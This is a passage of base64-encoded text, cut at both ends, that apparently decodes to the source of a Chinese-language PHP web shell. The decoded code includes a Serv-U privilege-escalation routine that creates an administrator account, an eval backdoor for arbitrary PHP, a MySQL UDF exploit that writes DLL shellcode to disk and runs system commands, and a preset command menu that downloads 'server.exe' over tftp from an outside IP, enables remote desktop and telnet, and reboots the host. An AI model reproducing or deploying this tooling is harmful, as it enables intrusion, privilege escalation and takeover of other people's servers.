zKSA/ICRwcm94eWNvbnRlbnRzIDogIjxib2R5IGJnY29sb3I9XCIjRjVGNUY1XCIgc3R5bGU9XCJmb250LXNpemU6IDEycHg7XCI+PGNlbnRlcj48YnI+PHA+PGI+6I635Y+WIFVSTCDlhoXlrrnlpLHotKU8L2I+PC9wPjwvY2VudGVyPjwvYm9keT4iO2V4aXQ7fQpwcmludDw8PEVORAo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBiZ2NvbG9yPSIjZmZmZmZmIj4KIDxmb3JtIG1ldGhvZD0iUE9TVCIgdGFyZ2V0PSJwcm94eWZyYW1lIj4KICA8dHIgY2xhc3M9ImZpcnN0YWx0Ij4KCTx0ZCBhbGlnbj0iY2VudGVyIj48Yj7lnKjnur/ku6PnkIY8L2I+PC90ZD4KICA8L3RyPgogIDx0ciBjbGFzcz0ic2Vjb25kYWx0Ij4KCTx0ZCBhbGlnbj0iY2VudGVyIiAgPjxicj48dWw+PGxpPueUqOacrOWKn+iDveS7heWunueOsOeugOWNleeahCBIVFRQIOS7o+eQhizkuI3kvJrmmL7npLrkvb/nlKjnm7jlr7not6/lvoTnmoTlm77niYfjgIHpk77mjqXlj4pDU1PmoLflvI/ooaguPC9saT48bGk+55So5pys5Yqf6IO95Y+v5Lul6YCa6L+H5pys5pyN5Yqh5Zmo5rWP6KeI55uu5qCHVVJMLOS9huS4jeaUr+aMgSBTUUwgSW5qZWN0aW9uIOaOoua1i+S7peWPiuafkOS6m+eJueauiuWtl+espi48L2xpPjxsaT7nlKjmnKzlip/og73mtY/op4jnmoQgVVJMLOWcqOebruagh+S4u+acuuS4iueVmeS4i+eahElQ6K6w5b2V5pivIDogeyRfU0VSVkVSWydTRVJWRVJfTkFNRSddfTwvbGk+PC91bD48L3RkPgogIDwvdHI+CiAgPHRyIGNsYXNzPSJmaXJzdGFsdCI+Cgk8dGQgYWxpZ249ImNlbnRlciIgaGVpZ2h0PTQwICA+VVJMOiA8aW5wdXQgbmFtZT0idXJsIiB2YWx1ZT0iYWJvdXQ6YmxhbmsiIHR5cGU9InRleHQiICBjbGFzcz0iaW5wdXQiIHNpemU9IjEwMCIgPgogPGlucHV0IG5hbWU9IiIgdmFsdWU9Iua1j+iniCIgdHlwZT0ic3VibWl0IiAgY2xhc3M9ImlucHV0IiBzaXplPSIzMCIgPgo8L3RkPgogIDwvdHI+CiAgPHRyIGNsYXNzPSJzZWNvbmRhbHQiPgoJPHRkIGFsaWduPSJjZW50ZXIiICA+PGlmcmFtZSBuYW1lPSJwcm94eWZyYW1lIiBmcmFtZWJvcmRlcj0iMCIgd2lkdGg9Ijc2NSIgaGVpZ2h0PSI0MDAiIG1hcmdpbmhlaWdodD0iMCIgbWFyZ2lud2lkdGg9IjAiIHNjcm9sbGluZz0iYXV0byIgc3JjPSJhYm91dDpibGFuayI+PC9pZnJhbWU+PC90ZD4KICA8L3RyPgo8L2Zvcm0+PC90YWJsZT4KRU5EOwoJYnJlYWs7CgkKCWNhc2UgInNlcnZ1IjoKCSRTVVBhc3MgPSBpc3NldCgkX1BPU1RbJ1NVUGFzcyddKSA/ICRfUE9TVFsnU1VQYXNzJ10gOiAnI2xAJGFrIy5sazswQFAnOwpwcmludDw8PEVORAo8ZGl2IGNsYXNzPSJhY3RhbGwiPjxhIGhyZWY9Ij9lYW52ZXI9c2VydnUiPlvmiafooYzlkb3ku6RdPC9hPiA8YSBocmVmPSI/ZWFudmVyPXNlcnZ1Jm89YWRkdXNlciI+W+a3u+WKoOeUqOaIt108L2E+PC9kaXY+Cjxmb3JtIG1ldGhvZD0iUE9TVCI+Cgk8ZGl2IGNsYXNzPSJhY3RhbGwiPlNlcnZV56uv5Y+jIDxpbnB1dCBuYW1lPSJTVVBvcnQiIHR5cGU9InRleHQiIHZhbHVlPSI0Mzk1OCIgc3R5bGU9IndpZHRoOjMwMHB4Ij48L2Rpdj4KCTxkaXYgY2xhc3M9ImFjdGFsbCI+U2VydlXnlKjmiLcgPGlucHV0IG5hbWU9IlNVVXNlciIgdHlwZT0idGV4dCIgdmFsdWU9IkxvY2FsQWRtaW5pc3RyYXRvciIgc3R5bGU9IndpZHRoOjMwMHB4Ij48L2Rpdj4KCTxkaXYgY2xhc3M9ImFjdGFsbCI+U2VydlXlr4bnoIEgPGlucHV0IG5hbWU9IlNVUGFzcyIgdHlwZT0idGV4dCIgdmFsdWU9InskU1VQYXNzfSIgc3R5bGU9IndpZHRoOjMwMHB4Ij48L2Rpdj4KRU5EOwppZigkX0dFVFsnbyddID09ICdhZGR1c2VyJykKewpwcmludDw8PEVORAo8ZGl2IGNsYXNzPSJhY3RhbGwiPuW4kOWPtyA8aW5wdXQgbmFtZT0idXNlciIgdHlwZT0idGV4dCIgdmFsdWU9ImVudmwiIHN0eWxlPSJ3aWR0aDoyMDBweCI+CuWvhueggSA8aW5wdXQgbmFtZT0icGFzc3dvcmQiIHR5cGU9InRleHQiIHZhbHVlPSJlbnZsIiBzdHlsZT0id2lkdGg6MjAwcHgiPgrnm67lvZUgPGlucHV0IG5hbWU9InBhcnQiIHR5cGU9InRleHQiIHZhbHVlPSJDOlxcXFwiIHN0eWxlPSJ3aWR0aDoyMDBweCI+PC9kaXY+CkVORDsKfQplbHNlCnsKcHJpbnQ8PDxFTkQKPGRpdiBjbGFzcz0iYWN0YWxsIj7mj5DmnYPlkb3ku6QgPGlucHV0IG5hbWU9IlNVQ29tbWFuZCIgdHlwZT0idGV4dCIgdmFsdWU9Im5ldCB1c2VyIHdlYi1zaGVsbCB3ZWItc2hlbGwgL2FkZCAmIG5ldCBsb2NhbGdyb3VwIGFkbWluaXN0cmF0b3JzIHdlYi1zaGVsbCAvYWRkIiBzdHlsZT0id2lkdGg6NjAwcHgiPjxicj4KPGlucHV0IG5hbWU9InVzZXIiIHR5cGU9ImhpZGRlbiIgdmFsdWU9ImVudmwiPgo8aW5wdXQgbmFtZT0icGFzc3dvcmQiIHR5cGU9ImhpZGRlbiIgdmFsdWU9ImVudmwiPgo8aW5wdXQgbmFtZT0icGFydCIgdHlwZT0iaGlkZGVuIiB2YWx1ZT0iQzpcXFxcIj48L2Rpdj4KRU5EOwp9CmVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IuaJp+ihjCIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj48L2Zvcm0+JzsKCWlmKCghZW1wdHkoJF9QT1NUWydTVVBvcnQnXSkpICYmICghZW1wdHkoJF9QT1NUWydTVVVzZXInXSkpICYmICghZW1wdHkoJF9QT1NUWydTVVBhc3MnXSkpKQoJewoJCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+JzsKCQkkc2VuZGJ1ZiA9ICIiOwoJCSRyZWN2YnVmID0gIiI7CgkJJGRvbWFpbiAgPSAiLVNFVERPTUFJTlxyXG4iLiItRG9tYWluPWhheG9yY2l0b3N8MC4wLjAuMHwyMXwtMXwxfDBcclxuIi4iLVRaT0VuYWJsZT0wXHJcbiIuIiBUWk9LZXk9XHJcbiI7CgkJJGFkZHVzZXIgPSAiLVNFVFVTRVJTRVRVUFxyXG4iLiItSVA9MC4wLjAuMFxyXG4iLiItUG9ydE5vPTIxXHJcbiIuIi1Vc2VyPSIuJF9QT1NUWyd1c2VyJ10uIlxyXG4iLiItUGFzc3dvcmQ9Ii4kX1BPU1RbJ3Bhc3N3b3JkJ10uIlxyXG4iLiItSG9tZURpcj1jOlxcXHJcbiIuIi1Mb2dpbk1lc0ZpbGU9XHJcbiIuIi1EaXNhYmxlPTBcclxuIi4iLVJlbFBhdGhzPTFcclxuIi4iLU5lZWRTZWN1cmU9MFxyXG4iLiItSGlkZUhpZGRlbj0wXHJcbiIuIi1BbHdheXNBbGxvd0xvZ2luPTBcclxuIi4iLUNoYW5nZVBhc3N3b3JkPTBcclxuIi4KCQkJCQkJCSAiLVF1b3RhRW5hYmxlPTBcclxuIi4iLU1heFVzZXJzTG9naW5QZXJJUD0tMVxyXG4iLiItU3BlZWRMaW1pdFVwPTBcclxuIi4iLVNwZWVkTGltaXREb3duPTBcclxuIi4iLU1heE5yVXNlcnM9LTFcclxuIi4iLUlkbGVUaW1lT3V0PTYwMFxyXG4iLiItU2Vzc2lvblRpbWVPdXQ9LTFcclxuIi4iLUV4cGlyZT0wXHJcbiIuIi1SYXRpb1VwPTFcclxuIi4iLVJhdGlvRG93bj0xXHJcbiIuIi1SYXRpb3NDcmVkaXQ9MFxyXG4iLiItUXVvdGFDdXJyZW50PTBcclxuIi4iLVF1b3RhTWF4aW11bT0wXHJcbiIuCgkJCQkJCQkgIi1NYWludGVuYW5jZT1Ob25lXHJcbiIuIi1QYXNzd29yZFR5cGU9UmVndWxhclxyXG4iLiItUmF0aW9zPU5vbmVcclxuIi4iIEFjY2Vzcz0iLiRfUE9TVFsncGFydCddLiJcfFJXQU1FTENEUFxyXG4iOwoJCSRkZWxkb21haW4gPSAiLURFTEVURURPTUFJTlxyXG4iLiItSVA9MC4wLjAuMFxyXG4iLiIgUG9ydE5vPTIxXHJcbiI7CgkJJHNvY2sgPSBAZnNvY2tvcGVuKCIxMjcuMC4wLjEiLCAkX1BPU1RbIlNVUG9ydCJdLCRlcnJubywkZXJyc3RyLCAxMCk7CgkJJHJlY3ZidWYgPSBAZmdldHMoJHNvY2ssIDEwMjQpOwoJCWVjaG8gIui/lOWbnuaVsOaNruWMhTogJHJlY3ZidWYgPGJyPiI7CgkJJHNlbmRidWYgPSAiVVNFUiAiLiRfUE9TVFsiU1VVc2VyIl0uIlxyXG4iOwoJCUBmcHV0cygkc29jaywgJHNlbmRidWYsIHN0cmxlbigkc2VuZGJ1ZikpOwoJCWVjaG8gIuWPkemAgeaVsOaNruWMhTogJHNlbmRidWYgPGJyPiI7CgkJJHJlY3ZidWYgPSBAZmdldHMoJHNvY2ssIDEwMjQpOwoJCWVjaG8gIui/lOWbnuaVsOaNruWMhTogJHJlY3ZidWYgPGJyPiI7CgkJJHNlbmRidWYgPSAiUEFTUyAiLiRfUE9TVFsiU1VQYXNzIl0uIlxyXG4iOwoJCUBmcHV0cygkc29jaywgJHNlbmRidWYsIHN0cmxlbigkc2VuZGJ1ZikpOwoJCWVjaG8gIuWPkemAgeaVsOaNruWMhTogJHNlbmRidWYgPGJyPiI7CgkJJHJlY3ZidWYgPSBAZmdldHMoJHNvY2ssIDEwMjQpOwoJCWVjaG8gIui/lOWbnuaVsOaNruWMhTogJHJlY3ZidWYgPGJyPiI7CgkJJHNlbmRidWYgPSAiU0lURSBNQUlOVEVOQU5DRVxyXG4iOwoJCUBmcHV0cygkc29jaywgJHNlbmRidWYsIHN0cmxlbigkc2VuZGJ1ZikpOwoJCWVjaG8gIuWPkemAgeaVsOaNruWMhTogJHNlbmRidWYgPGJyPiI7CgkJJHJlY3ZidWYgPSBAZmdldHMoJHNvY2ssIDEwMjQpOwoJCWVjaG8gIui/lOWbnuaVsOaNruWMhTogJHJlY3ZidWYgPGJyPiI7CgkJJHNlbmRidWYgPSAkZG9tYWluOwoJCUBmcHV0cygkc29jaywgJHNlbmRidWYsIHN0cmxlbigkc2VuZGJ1ZikpOwoJCWVjaG8gIuWPkemAgeaVsOaNruWMhTogJHNlbmRidWYgPGJyPiI7CgkJJHJlY3ZidWYgPSBAZmdldHMoJHNvY2ssIDEwMjQpOwoJCWVjaG8gIui/lOWbnuaVsOaNruWMhTogJHJlY3ZidWYgPGJyPiI7CgkJJHNlbmRidWYgPSAkYWRkdXNlcjsKCQlAZnB1dHMoJHNvY2ssICRzZW5kYnVmLCBzdHJsZW4oJHNlbmRidWYpKTsKCQllY2hvICLlj5HpgIHmlbDmja7ljIU6ICRzZW5kYnVmIDxicj4iOwoJCSRyZWN2YnVmID0gQGZnZXRzKCRzb2NrLCAxMDI0KTsKCQllY2hvICLov5Tlm57mlbDmja7ljIU6ICRyZWN2YnVmIDxicj4iOwoJCWlmKCFlbXB0eSgkX1BPU1RbJ1NVQ29tbWFuZCddKSkKCQl7CgkgCQkkZXhwID0gQGZzb2Nrb3BlbigiMTI3LjAuMC4xIiwgIjIxIiwkZXJybm8sJGVycnN0ciwgMTApOwoJIAkJJHJlY3ZidWYgPSBAZmdldHMoJGV4cCwgMTAyNCk7CgkgCQllY2hvICLov5Tlm57mlbDmja7ljIU6ICRyZWN2YnVmIDxicj4iOwoJIAkJJHNlbmRidWYgPSAiVVNFUiAiLiRfUE9TVFsndXNlciddLiJcclxuIjsKCSAJCUBmcHV0cygkZXhwLCAkc2VuZGJ1Ziwgc3RybGVuKCRzZW5kYnVmKSk7CgkgCQllY2hvICLlj5HpgIHmlbDmja7ljIU6ICRzZW5kYnVmIDxicj4iOwoJIAkJJHJlY3ZidWYgPSBAZmdldHMoJGV4cCwgMTAyNCk7CgkgCQllY2hvICLov5Tlm57mlbDmja7ljIU6ICRyZWN2YnVmIDxicj4iOwoJIAkJJHNlbmRidWYgPSAiUEFTUyAiLiRfUE9TVFsncGFzc3dvcmQnXS4iXHJcbiI7CgkgCQlAZnB1dHMoJGV4cCwgJHNlbmRidWYsIHN0cmxlbigkc2VuZGJ1ZikpOwoJIAkJZWNobyAi5Y+R6YCB5pWw5o2u5YyFOiAkc2VuZGJ1ZiA8YnI+IjsKCSAJCSRyZWN2YnVmID0gQGZnZXRzKCRleHAsIDEwMjQpOwoJIAkJZWNobyAi6L+U5Zue5pWw5o2u5YyFOiAkcmVjdmJ1ZiA8YnI+IjsKCSAJCSRzZW5kYnVmID0gInNpdGUgZXhlYyAiLiRfUE9TVFsiU1VDb21tYW5kIl0uIlxyXG4iOwoJIAkJQGZwdXRzKCRleHAsICRzZW5kYnVmLCBzdHJsZW4oJHNlbmRidWYpKTsKCSAJCWVjaG8gIuWPkemAgeaVsOaNruWMhTogc2l0ZSBleGVjIDxmb250IGNvbG9yPSMwMDY2MDA+Ii4kX1BPU1RbIlNVQ29tbWFuZCJdLiI8L2ZvbnQ+IDxicj4iOwoJIAkJJHJlY3ZidWYgPSBAZmdldHMoJGV4cCwgMTAyNCk7CgkgCQllY2hvICLov5Tlm57mlbDmja7ljIU6ICRyZWN2YnVmIDxicj4iOwoJIAkJJHNlbmRidWYgPSAkZGVsZG9tYWluOwoJIAkJQGZwdXRzKCRzb2NrLCAkc2VuZGJ1Ziwgc3RybGVuKCRzZW5kYnVmKSk7CgkgCQllY2hvICLlj5HpgIHmlbDmja7ljIU6ICRzZW5kYnVmIDxicj4iOwoJIAkJJHJlY3ZidWYgPSBAZmdldHMoJHNvY2ssIDEwMjQpOwoJIAkJZWNobyAi6L+U5Zue5pWw5o2u5YyFOiAkcmVjdmJ1ZiA8YnI+IjsKCSAJCUBmY2xvc2UoJGV4cCk7CgkJfQoJCUBmY2xvc2UoJHNvY2spOwoJCWVjaG8gJzwvZGl2Pic7Cgl9CglicmVhazsKCQoJY2FzZSAicGhwY29kZSI6CgkkcGhwY29kZSA9IGlzc2V0KCRfUE9TVFsncGhwY29kZSddKSA/ICRfUE9TVFsncGhwY29kZSddIDogInBocGluZm8oKTsiOwogICAgaWYoJHBocGNvZGUhPSdwaHBpbmZvKCk7JykkcGhwY29kZSA9IGh0bWxzcGVjaWFsY2hhcnMoYmFzZTY0X2RlY29kZSgkcGhwY29kZSkpOwoJZWNobyAnPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+JzsKaHRtbF9iYXNlKCk7CgllY2hvICdmdW5jdGlvbiBTdWJtaXRVcmwoKXsKCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdwaHBjb2RlXCcpLnZhbHVlID0gYmFzZTY0ZW5jb2RlKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwncGhwY29kZVwnKS52YWx1ZSk7CgkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnc2VuZGNvZGVcJykuc3VibWl0KCk7Cgl9PC9zY3JpcHQ+PHRyPjx0ZD48Zm9ybSBtZXRob2Q9IlBPU1QiIGlkPSJzZW5kY29kZSIgPuS4jeeUqOWGmSZsdDs/ID8mZ3Q75qCH562+LOatpOWKn+iDveS8mOWMluS9v+eUqEJBU0U2NOWKoOWvhuS8oOmAge+8jOmYsuatouaBtuaEj+S7o+eggeiiq+aLpu+8jOeUqOS6huWwseefpemBk++8iOWwj+Wwj+e7huiKgu+8jOazqOWumuaIkOWwse+8iTxicj48YnI+PHRleHRhcmVhIENPTFM9IjEyMCIgUk9XUz0iMzUiIG5hbWU9InBocGNvZGUiIGlkPSJwaHBjb2RlIj4nLiRwaHBjb2RlLic8L3RleHRhcmVhPjxicj48YnI+PGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9IuaJp+ihjCIgb25jbGljaz0iU3VibWl0VXJsKCk7IiBzdHlsZT0id2lkdGg6ODBweDsiPic7CglpZighZW1wdHkoJF9QT1NUWydwaHBjb2RlJ10pKXsKCWVjaG8gIjxicj48YnI+IjsKICAgIGV2YWwoc3RyaXBzbGFzaGVzKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydwaHBjb2RlJ10pKSk7Cgl9CglodG1sX24oJzwvZm9ybT4nKTsKCWJyZWFrOwoKCgljYXNlICJteWV4cCI6CgkkTVNHX0JPWCA9ICfor7flhYjlr7zlh7pETEws5YaN5omn6KGM5ZG95LukLk1ZU1FM55So5oi35b+F6aG75Li6cm9vdOadg+mZkCzlr7zlh7rot6/lvoTlv4Xpobvog73liqDovb1ETEzmlofku7YuPGJyPm15c3FsNS4x54mI5pys5Lul5LiK6ZyA5ZyobXlzcWzmj5Lku7bnm67lvZXlronoo4VVREbvvIzoi6XliJvlu7rlpLHotKXor7flhYjnlKhOVEZTLUFEU+a1geWKn+iDveWIm+W7uuaWh+S7tuWkuSc7CgkkaW5mbyA9ICflkb3ku6Tlm57mmL4nOwoJJG1ob3N0ID0gJ2xvY2FsaG9zdCc7ICRtdXNlciA9ICdyb290JzsgJG1wb3J0ID0gJzMzMDYnOyAkbXBhc3MgPSAnJzsgJG1kYXRhID0gJ215c3FsJzsgJG1wYXRoID0gJ0M6L3dpbmRvd3MvbXlzcWxEbGwuZGxsJzsgJHNxbGNtZCA9ICd2ZXInOwoJaWYoaXNzZXQoJF9QT1NUWydtaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ211c2VyJ10pKQoJewoJCSRtaG9zdCA9ICRfUE9TVFsnbWhvc3QnXTsgJG11c2VyID0gJF9QT1NUWydtdXNlciddOyAkbXBhc3MgPSAkX1BPU1RbJ21wYXNzJ107ICRtZGF0YSA9ICRfUE9TVFsnbWRhdGEnXTsgJG1wb3J0ID0gJF9QT1NUWydtcG9ydCddOyAkbXBhdGggPSBGaWxlX1N0cigkX1BPU1RbJ21wYXRoJ10pOyAkc3FsY21kID0gJF9QT1NUWydzcWxjbWQnXTsKCQkkY29ubiA9IG15c3FsX2Nvbm5lY3QoJG1ob3N0Lic6Jy4kbXBvcnQsJG11c2VyLCRtcGFzcyk7CgkJaWYoJGNvbm4pCgkJewoJCQlAbXlzcWxfc2VsZWN0X2RiKCRtZGF0YSk7CgkJCWlmKCghZW1wdHkoJF9QT1NUWydvdXRkbGwnXSkpICYmICghZW1wdHkoJF9QT1NUWydtcGF0aCddKSkpCgkJCXsKCQkJCSRxdWVyeSA9ICJDUkVBVEUgVEFCTEUgRW52bF9UZW1wX1RhYiAoZW52bCBCTE9CKTsiOwoJCQkJaWYoQG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubikpCgkJCQl7CgkJCQkJJHNoZWxsY29kZSA9IE15c3FsX3NoZWxsY29kZSgpOwoJCQkJCSRxdWVyeSA9ICJJTlNFUlQgaW50byBFbnZsX1RlbXBfVGFiIHZhbHVlcyAoQ09OVkVSVCgiLiRzaGVsbGNvZGUuIixDSEFSKSk7IjsKCQkJCQlpZihAbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKSkKCQkJCQl7CgkJCQkJCSRxdWVyeSA9ICdTRUxFQ1QgZW52bCBGUk9NIEVudmxfVGVtcF9UYWIgSU5UTyBEVU1QRklMRSBcJycuJG1wYXRoLidcJzsnOwoJCQkJCQlpZihAbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKSkKCQkJCQkJewoJCQkJCQkJJGFwID0gZXhwbG9kZSgnLycsICRtcGF0aCk7ICRpbnBhdGggPSBhcnJheV9wb3AoJGFwKTsKCQkJCQkJCSRxdWVyeSA9ICdDcmVhdGUgRnVuY3Rpb24gc3RhdGUgcmV0dXJucyBzdHJpbmcgc29uYW1lIFwnJy4kaW5wYXRoLidcJzsnOwoJCQkJCQkJJE1TR19CT1ggPSBAbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKSA/ICflronoo4VETEzmiJDlip8nIDogJ+WuieijhURMTOWksei0pSc7CgkJCQkJCX0KCQkJCQkJZWxzZSAkTVNHX0JPWCA9ICflr7zlh7pETEzmlofku7blpLHotKUnOwoJCQkJCX0KCQkJCQllbHNlICRNU0dfQk9YID0gJ+WGmeWFpeS4tOaXtuihqOWksei0pSc7CgkJCQkJQG15c3FsX3F1ZXJ5KCdEUk9QIFRBQkxFIEVudmxfVGVtcF9UYWI7JywkY29ubik7CgkJCQl9CgkJCQllbHNlICRNU0dfQk9YID0gJ+WIm+W7uuS4tOaXtuihqOWksei0pSc7CgkJCX0KCQkJaWYoIWVtcHR5KCRfUE9TVFsncnVuY21kJ10pKQoJCQl7CgkJCQkkcXVlcnkgPSAnc2VsZWN0IHN0YXRlKCInLiRzcWxjbWQuJyIpOyc7CgkJCQkkcmVzdWx0ID0gQG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubik7CgkJCQlpZigkcmVzdWx0KQoJCQkJewoJCQkJCSRrID0gMDsgJGluZm8gPSBOVUxMOwoJCQkJCXdoaWxlKCRyb3cgPSBAbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpeyRpbmZvdG1wIC49ICRyb3dbJGtdOyRrKys7fQoJCQkJCSRpbmZvID0gJGluZm90bXA7CgkJCQkJJE1TR19CT1ggPSAn5omn6KGM5oiQ5YqfJzsKCQkJCX0KCQkJCWVsc2UgJE1TR19CT1ggPSAn5omn6KGM5aSx6LSlJzsKCQkJfQoJCX0KCQllbHNlICRNU0dfQk9YID0gJ+i/nuaOpU1ZU1FM5aSx6LSlJzsKCX0KcHJpbnQ8PDxFTkQKPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+CmZ1bmN0aW9uIEZ1bGxtKGkpewoJU3RyID0gbmV3IEFycmF5KDExKTsKCVN0clswXSA9ICJ2ZXIiOwoJU3RyWzFdID0gIm5ldCB1c2VyIHdlYi1zaGVsbCB3ZWItc2hlbGwgL2FkZCI7CglTdHJbMl0gPSAibmV0IGxvY2FsZ3JvdXAgYWRtaW5pc3RyYXRvcnMgd2ViLXNoZWxsIC9hZGQiOwoJU3RyWzNdID0gIm5ldCBzdGFydCBUZXJtaW5hbCBTZXJ2aWNlcyI7CglTdHJbNF0gPSAidGFza2xpc3QgL3N2YyI7CglTdHJbNV0gPSAibmV0c3RhdCAtYW5vIjsKCVN0cls2XSA9ICJpcGNvbmZpZyI7CglTdHJbN10gPSAibmV0IHVzZXIgZ3Vlc3QgL2FjdGl2ZTp5ZXMiOwoJU3RyWzhdID0gImNvcHkgYzpcXFxcMS5waHAgZDpcXFxcMi5waHAiOwoJU3RyWzldID0gInRmdHAgLWkgMjE5LjEzNC40Ni4yNDUgZ2V0IHNlcnZlci5leGUgYzpcXFxcc2VydmVyLmV4ZSI7CglTdHJbMTBdID0gIm5ldCBzdGFydCB0ZWxuZXQiOwoJU3RyWzExXSA9ICJzaHV0ZG93biAtciAtdCAwIjsKCW1mb3JtLnNxbGNtZC52YWx1ZSA9IFN0cltpXTsKCXJldHVybiB0cnVlOwp9Cjwvc2NyaXB0Pgo8Zm9ybSBpZD0ibWZvcm0iIG1ldGhvZD0iUE9TVCI+CjxkaXYgaWQ9Im1zZ2JveCIgY2xhc3M9Im1zZ2JveCI+eyRNU0dfQk9YfTwvZGl2Pgo8Y2VudGVyPjxkaXYgY2xhc3M9ImFjdGFsbCI+CuWcsOWdgCA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWhvc3QiIHZhbHVlPSJ7JG1ob3N0fSIgc3R5bGU9IndpZHRoOjExMHB4Ij4K56uv5Y+jIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtcG9ydCIgdmFsdWU9InskbXBvcnR9IiBzdHlsZT0id2lkdGg6MTEwcHgiPgrnlKjmiLcgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im11c2VyIiB2YWx1ZT0ieyRtdXNlcn0iIHN0eWxlPSJ3aWR0aDoxMTBweCI+CuWvhueggSA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibXBhc3MiIHZhbHVlPSJ7JG1wYXNzfSIgc3R5bGU9IndpZHRoOjExMHB4Ij4K5bqT5ZCNIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZGF0YSIgdmFsdWU9InskbWRhdGF9IiBzdHlsZT0id2lkdGg6MTEwcHgiPgo8L2Rpdj48ZGl2IGNsYXNzPSJhY3RhbGwiPgrlj6/liqDovb3ot6/lvoQgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1wYXRoIiB2YWx1ZT0ieyRtcGF0aH0iIHN0eWxlPSJ3aWR0aDo1NTVweCI+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJvdXRkbGwiIHZhbHVlPSLlronoo4VETEwiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PC9kaXY+CjxkaXYgY2xhc3M9ImFjdGFsbCI+5a6J6KOF5oiQ5Yqf5ZCO5Y+v55SoIDxicj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsY21kIiB2YWx1ZT0ieyRzcWxjbWR9IiBzdHlsZT0id2lkdGg6NTE1cHg7Ij4KPHNlbGVjdCBvbmNoYW5nZT0icmV0dXJuIEZ1bGxtKG9wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWUpIj4KPG9wdGlvbiB2YWx1ZT0iMCIgc2VsZWN0ZWQ+LS3lkb3ku6Tpm4blkIgtLTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxIj7mt7vliqDnrqHnkIblkZg8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMiI+6K6+5Li6566h55CG57uEPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjMiPuW8gOWQr+i/nOeoi+ahjOmdojwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI0Ij7mn6XnnIvov5vnqIvlkoxQSUQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNSI+5p+l55yL56uv5Y+j5ZKMUElEPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjYiPuafpeeci0lQPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjciPua/gOa0u2d1ZXN05biQ5oi3PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjgiPuWkjeWItuaWh+S7tjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI5Ij5mdHDkuIvovb08L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTAiPuW8gOWQr3RlbG5ldDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxMSI+6YeN5ZCvPC9vcHRpb24+Cjwvc2VsZWN0Pgo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJydW5jbWQiIHZhbHVlPSLmiafooYwiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+Cjx0ZXh0YXJlYSBzdHlsZT0id2lkdGg6NzIwcHg7aGVpZ2h0OjMwMHB4OyI+eyRpbmZvfTwvdGV4dGFyZWE+CjwvZGl2PjwvY2VudGVyPgo8L2Zvcm0+CkVORDsKCWJyZWFrOyAKCWNhc2UgIm15c3FsX2V4ZWMiOgogIGlmKGlzc2V0KCRfUE9TVFsnbWhvc3QnXSkgJiYgaXNzZXQoJF9QT1NUWydtcG9ydCddKSAmJiBpc3NldCgkX1BPU1RbJ211c2VyJ10pICYmIGlzc2V0KCRfUE9TVFsnbXBhc3MnXSkpCiAgewogIAlpZihAbXlzcWxfY29ubmVjdCgkX1BPU1RbJ21ob3N0J10uJzonLiRfUE9TVFsnbXBvcnQnXSwkX1BPU1RbJ211c2VyJ10sJF9QT1NUWydtcGFzcyddKSkKCSAgewoJICAJJGNvb2tpZXRpbWUgPSB0aW1lKCkgKyAyNCAqIDM2MDA7CgkgIAlzZXRjb29raWUoJ21fZWFudmVyaG9zdCcsJF9QT1NUWydtaG9zdCddLCRjb29raWV0aW1lKTsKCSAgCXNldGNvb2tpZSgnbV9lYW52ZXJwb3J0JywkX1BPU1RbJ21wb3J0J10sJGNvb2tpZXRpbWUpOwoJICAJc2V0Y29va2llKCdtX2VhbnZlcnVzZXInLCRfUE9TVFsnbXVzZXInXSwkY29va2lldGltZSk7CgkgIAlzZXRjb29raWUoJ21fZWFudmVycGFzcycsJF9QT1NUWydtcGFzcyddLCRjb29raWV0aW1lKTsKCSAgCWRpZSgn5q2j5Zyo55m76ZmGLOivt+eojeWAmS4uLjxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7VVJMPT9lYW52ZXI9bXlzcWxfbXNnIj4nKTsKCSAgfQogIH0KcHJpbnQ8PDxFTkQKPGZvcm0gbWV0aG9kPSJQT1NUIiBuYW1lPSJvZm9ybSIgaWQ